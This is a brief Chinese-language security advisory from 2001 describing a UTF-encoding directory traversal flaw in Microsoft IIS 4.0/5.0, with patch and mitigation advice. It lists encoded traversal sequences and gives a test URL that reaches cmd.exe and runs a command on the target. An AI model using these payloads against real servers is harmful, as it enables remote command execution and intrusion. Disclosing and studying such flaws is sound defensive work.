IIS4.0和5.0在处理UTF编码中存在漏洞发布时间：2001-09-20 更新时间：2001-09-20 严重程度：高 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Microsoft IIS 4.0/5.0详细描述 <*Remote users can execute any command on several IIS 4.0 and 5.0 systems by using UTF codes *> <keyword: UTF codes> IIS4.0和5.0在处理UTF编码时存在漏洞，可以导致远程用户以USE_machinename 的帐户执行任意代码，这些UTF编码包括"..%u002f", ".%u002e/", "..%u00255c", "..%u0025%u005c" ... 等。类似与以前的Unicode漏洞。 测试代码 http://target/scripts/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\ 解决方案 删除一些虚拟目录。 限制一般用户不需要执行cmd等工具。 根据测试，打SP2补丁的系统不受影响。 相关信息 ALife <buginfo@inbox.ru> |
